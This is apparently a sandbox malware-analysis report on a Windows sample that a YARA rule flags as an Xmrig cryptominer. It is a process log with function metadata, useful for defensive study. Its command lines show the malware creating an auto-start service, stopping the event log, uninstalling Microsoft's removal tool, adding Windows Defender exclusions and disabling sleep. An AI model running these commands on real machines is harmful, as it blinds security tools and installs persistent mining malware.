Show Windows behavior

Target ID:	16
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7b41f0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "STEUPFSB" binpath= "C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe" start= "auto"
Imagebase:	0x7ff7f1580000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff7f1580000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "STEUPFSB"
Imagebase:	0x7ff7f1580000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe
Imagebase:	0x7ff6953d0000
File size:	2'629'120 bytes
MD5 hash:	444B7B63554B45CFD9CF9D48F05F1196
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7368, Parent PID: 7360

General

Target ID:	26
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:50:10
Start date:	14/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff68d670000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:50:10
Start date:	14/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff6fae20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:50:10
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:50:10
Start date:	14/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff6fae20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:50:10
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:50:11
Start date:	14/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff6fae20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:50:11
Start date:	14/12/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7b41f0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	12:50:11
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	12:50:11
Start date:	14/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff6fae20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	12:50:11
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	12:50:11
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	12:50:11
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	12:50:11
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	conhost.exe
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000027.00000002.3327081247.000001B71BAF9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.1%
Total number of Nodes:	1537
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF6C8A81160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF6C8A81156), ref: 00007FF6C8A811A5
_amsg_exit.MSVCRT(?,?,?,00007FF6C8A81156), ref: 00007FF6C8A811CC
_initterm.MSVCRT ref: 00007FF6C8A8120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF6C8A81156), ref: 00007FF6C8A8124E
malloc.MSVCRT ref: 00007FF6C8A8127E
strlen.MSVCRT ref: 00007FF6C8A812A4
malloc.MSVCRT ref: 00007FF6C8A812B0
memcpy.MSVCRT ref: 00007FF6C8A812C3
_cexit.MSVCRT(?,?,?,00007FF6C8A81156), ref: 00007FF6C8A8132D

Memory Dump Source

Source File: 00000000.00000002.2093404146.00007FF6C8A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6C8A80000, based on PE: true

Associated: 00000000.00000002.2093384816.00007FF6C8A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093423678.00007FF6C8A89000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093476530.00007FF6C8A8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093495979.00007FF6C8A8C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094123211.00007FF6C8D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094147388.00007FF6C8D04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c8a80000_feZvV3DCj8.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 37955e2aff95878e925fb9aa55f42ba73ecc3a00989b4b7315e030181e99ab27
Instruction ID: 9863c63718504aa967ac2b4994148909f2d425cfff69f4ca3a279fe21c5336ad
Opcode Fuzzy Hash: 37955e2aff95878e925fb9aa55f42ba73ecc3a00989b4b7315e030181e99ab27
Instruction Fuzzy Hash: 7B513531A0B68685F7359FB5E9403B927A0BF44B82F04513BC98EC73A1EF2CB4458368

Function 00007FF6C8A81394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAdjustPrivilegesToken.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6C8A81156), ref: 00007FF6C8A813F7

Memory Dump Source

Source File: 00000000.00000002.2093404146.00007FF6C8A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6C8A80000, based on PE: true

Associated: 00000000.00000002.2093384816.00007FF6C8A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093423678.00007FF6C8A89000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093476530.00007FF6C8A8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093495979.00007FF6C8A8C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094123211.00007FF6C8D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094147388.00007FF6C8D04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c8a80000_feZvV3DCj8.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: f2dc4815e540200b7a1c6042ab8abd58de28f17223af15ac61de83993256cd62
Instruction ID: 19326f47bf78c7238166d612b23207de5942b5c8606754f281ef0e81fdcab95e
Opcode Fuzzy Hash: f2dc4815e540200b7a1c6042ab8abd58de28f17223af15ac61de83993256cd62
Instruction Fuzzy Hash: 88F0C97190AB8696D624CFA1F85042A7770FB48781F104436EADDA7725DF3CE052CB68

Non-executed Functions

Function 00007FF6C8A83B50 Relevance: 121.3, APIs: 67, Strings: 1, Instructions: 2257COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF6C8A83C75
memset.MSVCRT ref: 00007FF6C8A83D9D
wcscat.MSVCRT ref: 00007FF6C8A83DAD
memset.MSVCRT ref: 00007FF6C8A83DC1
wcslen.MSVCRT ref: 00007FF6C8A83E2A
_wcsnicmp.MSVCRT ref: 00007FF6C8A83E59
wcslen.MSVCRT ref: 00007FF6C8A83E69
wcscpy.MSVCRT ref: 00007FF6C8A83EEA
wcscat.MSVCRT ref: 00007FF6C8A83EF9
memset.MSVCRT ref: 00007FF6C8A83F0A
wcscpy.MSVCRT ref: 00007FF6C8A84032
wcscat.MSVCRT ref: 00007FF6C8A84041
memset.MSVCRT ref: 00007FF6C8A8405E
wcslen.MSVCRT ref: 00007FF6C8A840DC
_wcsnicmp.MSVCRT ref: 00007FF6C8A84109
wcslen.MSVCRT ref: 00007FF6C8A84119
wcscpy.MSVCRT ref: 00007FF6C8A843B0
wcscat.MSVCRT ref: 00007FF6C8A843BF
memset.MSVCRT ref: 00007FF6C8A843D3
wcscpy.MSVCRT ref: 00007FF6C8A8443B
wcscat.MSVCRT ref: 00007FF6C8A8444A
memset.MSVCRT ref: 00007FF6C8A8445E
wcscpy.MSVCRT ref: 00007FF6C8A844E6
wcscat.MSVCRT ref: 00007FF6C8A844F5
memset.MSVCRT ref: 00007FF6C8A84509
wcscpy.MSVCRT ref: 00007FF6C8A8455C
wcscat.MSVCRT ref: 00007FF6C8A8456B

Part of subcall function 00007FF6C8A82DF0: memset.MSVCRT ref: 00007FF6C8A82E1D

memset.MSVCRT ref: 00007FF6C8A8484F
wcscpy.MSVCRT ref: 00007FF6C8A848B5
wcscat.MSVCRT ref: 00007FF6C8A848C4
memset.MSVCRT ref: 00007FF6C8A848DB
wcscpy.MSVCRT ref: 00007FF6C8A8493A
wcscat.MSVCRT ref: 00007FF6C8A84949
wcslen.MSVCRT ref: 00007FF6C8A8495C
wcslen.MSVCRT ref: 00007FF6C8A84B4F
wcslen.MSVCRT ref: 00007FF6C8A84CB4
memset.MSVCRT ref: 00007FF6C8A84D1B
wcscpy.MSVCRT ref: 00007FF6C8A84DAE
wcscat.MSVCRT ref: 00007FF6C8A84DBD
wcslen.MSVCRT ref: 00007FF6C8A85319
memset.MSVCRT ref: 00007FF6C8A853A5
wcslen.MSVCRT ref: 00007FF6C8A8541C
_wcsnicmp.MSVCRT ref: 00007FF6C8A8548F
_wcsicmp.MSVCRT ref: 00007FF6C8A85653
memset.MSVCRT ref: 00007FF6C8A85672
wcscpy.MSVCRT ref: 00007FF6C8A856D3
wcscat.MSVCRT ref: 00007FF6C8A856E2
wcslen.MSVCRT ref: 00007FF6C8A856F5
wcslen.MSVCRT ref: 00007FF6C8A85AA7
wcslen.MSVCRT ref: 00007FF6C8A85C1E
_wcsnicmp.MSVCRT ref: 00007FF6C8A85C49
wcslen.MSVCRT ref: 00007FF6C8A85C59
wcslen.MSVCRT ref: 00007FF6C8A85CD8
memset.MSVCRT ref: 00007FF6C8A85DEB
wcscpy.MSVCRT ref: 00007FF6C8A85DF6
wcscat.MSVCRT ref: 00007FF6C8A85E05
memset.MSVCRT ref: 00007FF6C8A85E85
wcslen.MSVCRT ref: 00007FF6C8A85EEE
_wcsnicmp.MSVCRT ref: 00007FF6C8A85F19
wcslen.MSVCRT ref: 00007FF6C8A85F25
wcscat.MSVCRT ref: 00007FF6C8A85F4B
memset.MSVCRT ref: 00007FF6C8A85F5F
wcscpy.MSVCRT ref: 00007FF6C8A85FE8
wcscat.MSVCRT ref: 00007FF6C8A85FF7
wcslen.MSVCRT ref: 00007FF6C8A8630C
memcpy.MSVCRT ref: 00007FF6C8A86744
memcpy.MSVCRT ref: 00007FF6C8A86E84

Strings

, xrefs: 00007FF6C8A85764

Memory Dump Source

Source File: 00000000.00000002.2093404146.00007FF6C8A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6C8A80000, based on PE: true

Associated: 00000000.00000002.2093384816.00007FF6C8A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093423678.00007FF6C8A89000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093476530.00007FF6C8A8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093495979.00007FF6C8A8C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094123211.00007FF6C8D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094147388.00007FF6C8D04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c8a80000_feZvV3DCj8.jbxd

Similarity

API ID: wcslen$memset$wcscat$wcscpy$_wcsnicmp$memcpy$_wcsicmp
String ID:
API String ID: 3604702941-3916222277
Opcode ID: 3ad7f0aeb5009d3d7b6991c73a64e11c8bd596a34feedaa89c72ab9e707647b2
Instruction ID: 73109097f4b3effe4589633f0de22457cc85c225f32e25a8edae9c95b7c36808
Opcode Fuzzy Hash: 3ad7f0aeb5009d3d7b6991c73a64e11c8bd596a34feedaa89c72ab9e707647b2
Instruction Fuzzy Hash: 7E534661C2EAC284F7329F79A8413F46760AF95386F04533AD9CD975A6EF6C7248831C

Function 00007FF6C8A83350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6C8A833B2
memset.MSVCRT ref: 00007FF6C8A83445
wcscpy.MSVCRT ref: 00007FF6C8A8349D
wcscat.MSVCRT ref: 00007FF6C8A834A8
wcslen.MSVCRT ref: 00007FF6C8A834B9
memset.MSVCRT ref: 00007FF6C8A835D4
wcscpy.MSVCRT ref: 00007FF6C8A83635
wcscat.MSVCRT ref: 00007FF6C8A83640
wcslen.MSVCRT ref: 00007FF6C8A83654

Strings

@, xrefs: 00007FF6C8A83698
@, xrefs: 00007FF6C8A834F1
0, xrefs: 00007FF6C8A8368D
, xrefs: 00007FF6C8A836DD
0, xrefs: 00007FF6C8A834E6

Memory Dump Source

Source File: 00000000.00000002.2093404146.00007FF6C8A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6C8A80000, based on PE: true

Associated: 00000000.00000002.2093384816.00007FF6C8A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093423678.00007FF6C8A89000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093476530.00007FF6C8A8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093495979.00007FF6C8A8C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094123211.00007FF6C8D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094147388.00007FF6C8D04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c8a80000_feZvV3DCj8.jbxd

Similarity

API ID: memset$wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 4263182637-1413854666
Opcode ID: 5e52a1296da189d800f6c0e8467a83942f82c4d4e7e5a5cf51910de0e12c24a8
Instruction ID: ce410ce84d64efb36ded30c86b8d866f76554fc56c795caec9140a109cad90cd
Opcode Fuzzy Hash: 5e52a1296da189d800f6c0e8467a83942f82c4d4e7e5a5cf51910de0e12c24a8
Instruction Fuzzy Hash: 3BB16C2191D6C285F3318F75E4053AAB7A0FF84349F405236EAC993AA9DF7DE149CB18

Function 00007FF6C8A82690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF6C8A82795
memset.MSVCRT ref: 00007FF6C8A82865
wcscpy.MSVCRT ref: 00007FF6C8A828CE
wcscat.MSVCRT ref: 00007FF6C8A828D9
wcslen.MSVCRT ref: 00007FF6C8A828E1
wcslen.MSVCRT ref: 00007FF6C8A828F6
wcslen.MSVCRT ref: 00007FF6C8A8296D
wcslen.MSVCRT ref: 00007FF6C8A829E8

Strings

0, xrefs: 00007FF6C8A8279A
`, xrefs: 00007FF6C8A82B91
X, xrefs: 00007FF6C8A82B79

Memory Dump Source

Source File: 00000000.00000002.2093404146.00007FF6C8A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6C8A80000, based on PE: true

Associated: 00000000.00000002.2093384816.00007FF6C8A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093423678.00007FF6C8A89000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093476530.00007FF6C8A8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093495979.00007FF6C8A8C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094123211.00007FF6C8D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094147388.00007FF6C8D04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c8a80000_feZvV3DCj8.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 329590056-2527496196
Opcode ID: 4853977d68685c9e7870a20e92785699492a4c0a8cd6dd4256d23187e1c16e30
Instruction ID: def9c027512ed8d54e1f4e5da70e6c986b7693be79e9bf06d9d28b262fdfaffb
Opcode Fuzzy Hash: 4853977d68685c9e7870a20e92785699492a4c0a8cd6dd4256d23187e1c16e30
Instruction Fuzzy Hash: 7A027A22909BC185E7318F65E8043AA77A0FB847A5F00433ADADD877A5DF7CE189C718

Function 00007FF6C8A81BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF6C8A8A498,00007FF6C8A8A498,?,?,00007FF6C8A80000,?,00007FF6C8A81991), ref: 00007FF6C8A81C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF6C8A8A498,00007FF6C8A8A498,?,?,00007FF6C8A80000,?,00007FF6C8A81991), ref: 00007FF6C8A81CC7
memcpy.MSVCRT ref: 00007FF6C8A81CE0
GetLastError.KERNEL32(?,?,?,?,00007FF6C8A8A498,00007FF6C8A8A498,?,?,00007FF6C8A80000,?,00007FF6C8A81991), ref: 00007FF6C8A81D23

Strings

Address %p has no image-section, xrefs: 00007FF6C8A81CF4
VirtualProtect failed with code 0x%x, xrefs: 00007FF6C8A81D29
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF6C8A81D17

Memory Dump Source

Source File: 00000000.00000002.2093404146.00007FF6C8A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6C8A80000, based on PE: true

Associated: 00000000.00000002.2093384816.00007FF6C8A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093423678.00007FF6C8A89000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093476530.00007FF6C8A8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093495979.00007FF6C8A8C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094123211.00007FF6C8D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094147388.00007FF6C8D04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c8a80000_feZvV3DCj8.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: d077828e396ccefabc588e02dc7c4197bd98e075e1358814a4a48582c3c505dd
Instruction ID: 2726b97a48638a19cbffa0a204c2efdc1dfc0921fb8a89c55a46d9474eb78eef
Opcode Fuzzy Hash: d077828e396ccefabc588e02dc7c4197bd98e075e1358814a4a48582c3c505dd
Instruction Fuzzy Hash: A24195A1A0A68641EA718FA2D4847B827A4FB44BC2F554137CE8EC3391DE3CE545C718

Function 00007FF6C8A82104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6C8A82118
TlsGetValue.KERNEL32 ref: 00007FF6C8A8214F
GetLastError.KERNEL32 ref: 00007FF6C8A82154
LeaveCriticalSection.KERNEL32 ref: 00007FF6C8A82212
free.MSVCRT ref: 00007FF6C8A82234
DeleteCriticalSection.KERNEL32 ref: 00007FF6C8A8225D

Memory Dump Source

Source File: 00000000.00000002.2093404146.00007FF6C8A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6C8A80000, based on PE: true

Associated: 00000000.00000002.2093384816.00007FF6C8A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093423678.00007FF6C8A89000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093476530.00007FF6C8A8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093495979.00007FF6C8A8C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094123211.00007FF6C8D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094147388.00007FF6C8D04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c8a80000_feZvV3DCj8.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
